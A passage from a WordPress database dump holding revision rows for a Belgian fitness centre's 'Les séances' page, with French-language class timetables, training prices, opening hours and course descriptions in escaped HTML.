0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:28:40', '2013-07-03 17:28:40', '', 11, 'http://www.crosstrainingcenter.be/?p=185', 0, 'revision', '', 0);
INSERT INTO `www_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(184, 1, '2013-07-03 17:24:45', '2013-07-03 17:24:45', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\n\r\n&lt;table &gt;\r\n&lt;tr &gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot; &gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot; &gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot; &gt;JEUDI&lt;/td&gt;\r\n&lt;td  class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr &gt;\r\n&lt;td  class=\&quot;ttitre\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td  class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;td &gt;CARDIO&lt;/td&gt;\r\n&lt;td &gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td &gt;GLFE&lt;/td&gt;\r\n&lt;td &gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-top: hidden; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 17:24:45', '2013-07-03 17:24:45', '', 11, 'http://www.crosstrainingcenter.be/?p=184', 0, 'revision', '', 0),
(189, 1, '2013-07-03 17:38:00', '2013-07-03 17:38:00', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\n&lt;h4&gt;En semaine :&lt;/h4&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h4&gt;Le week-end 